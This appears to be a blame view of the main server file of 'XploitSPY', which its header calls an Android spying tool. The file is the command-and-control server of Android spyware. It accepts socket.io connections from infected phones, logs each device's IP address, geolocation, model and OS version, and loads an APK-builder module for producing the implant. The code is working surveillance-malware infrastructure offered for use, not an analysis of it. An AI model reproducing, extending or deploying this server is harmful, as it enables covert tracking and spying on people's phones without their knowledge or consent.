2020-04-23 14:28:58 +08:00
|
|
|
/*
|
2020-01-11 23:35:37 +08:00
|
|
|
* XploitSPY
|
|
|
|
* An Android Spying Tool
|
|
|
|
* By Team XploitWizer
|
|
|
|
*/
|
|
|
|
|
2020-04-23 14:28:58 +08:00
|
|
|
const express = require('express'),
|
|
|
|
app = express(),
|
|
|
|
server = require('http').createServer(app),
|
|
|
|
IO = require('socket.io')(server),
|
|
|
|
path = require('path'),
|
|
|
|
geoip = require('geoip-lite'),
|
|
|
|
CONST = require(path.join(__dirname, '/includes/const')),
|
|
|
|
db = require(path.join(__dirname, '/includes/databaseGateway')),
|
|
|
|
logManager = require(path.join(__dirname, '/includes/logManager')),
|
|
|
|
clientManager = new (require(path.join(__dirname, '/includes/clientManager')))(db),
|
|
|
|
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'));
|
|
|
|
port = process.env.PORT || CONST.web_port;
|
2020-01-11 23:35:37 +08:00
|
|
|
|
|
|
|
global.CONST = CONST;
|
|
|
|
global.db = db;
|
|
|
|
global.logManager = logManager;
|
|
|
|
global.app = app;
|
|
|
|
global.clientManager = clientManager;
|
|
|
|
global.apkBuilder = apkBuilder;
|
|
|
|
|
|
|
|
// spin up socket server
|
2020-04-08 04:14:57 +08:00
|
|
|
// let client_io = IO.listen(CONST.control_port);
|
2020-01-11 23:35:37 +08:00
|
|
|
|
2020-04-08 04:14:57 +08:00
|
|
|
// client_io.sockets.pingInterval = 30000;
|
|
|
|
IO.sockets.pingInterval = 30000;
|
|
|
|
IO.on('connection', (socket) => {
|
2020-04-23 14:28:58 +08:00
|
|
|
socket.emit('welcome');
|
|
|
|
let clientParams = socket.handshake.query;
|
|
|
|
let clientAddress = socket.request.connection;
|
2020-01-11 23:35:37 +08:00
|
|
|
|
2020-04-23 14:28:58 +08:00
|
|
|
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
|
|
|
|
let clientGeo = geoip.lookup(clientIP);
|
|
|
|
if (!clientGeo) clientGeo = {};
|
2020-01-11 23:35:37 +08:00
|
|
|
|
2020-04-23 14:28:58 +08:00
|
|
|
clientManager.clientConnect(socket, clientParams.id, {
|
|
|
|
clientIP,
|
|
|
|
clientGeo,
|
|
|
|
device: {
|
|
|
|
model: clientParams.model,
|
|
|
|
manufacture: clientParams.manf,
|
|
|
|
version: clientParams.release,
|
|
|
|
},
|
|
|
|
});
|
2020-01-11 23:35:37 +08:00
|
|
|
|
2020-04-23 14:28:58 +08:00
|
|
|
if (CONST.debug) {
|
|
|
|
var onevent = socket.onevent;
|
|
|
|
socket.onevent = function (packet) {
|
|
|
|
var args = packet.data || [];
|
|
|
|
onevent.call(this, packet); // original call
|
|
|
|
packet.data = ['*'].concat(args);
|
|
|
|
onevent.call(this, packet); // additional call to catch-all
|
|
|
|
};
|
2020-01-11 23:35:37 +08:00
|
|
|
|
2020-04-23 14:28:58 +08:00
|
|
|
socket.on('*', function (event, data) {
|
|
|
|
console.log(event);
|
|
|
|
console.log(data);
|
|
|
|
});
|
|
|
|
}
|
2020-01-11 23:35:37 +08:00
|
|
|
});
|
|
|
|
|
|
|
|
// get the admin interface online
|
2020-04-08 04:14:57 +08:00
|
|
|
// app.listen(CONST.web_port);
|
2020-04-23 14:28:58 +08:00
|
|
|
server.listen(port, () => console.log(`listening on port ${port}`));
|
2020-01-11 23:35:37 +08:00
|
|
|
|
|
|
|
app.set('view engine', 'ejs');
|
2020-04-08 05:06:39 +08:00
|
|
|
app.set('views', path.join(__dirname, '/assets/views'));
|
2020-01-11 23:35:37 +08:00
|
|
|
app.use(express.static(__dirname + '/assets/webpublic'));
|
2020-04-23 14:28:58 +08:00
|
|
|
app.use(require(path.join(__dirname, '/includes/expressRoutes')));
|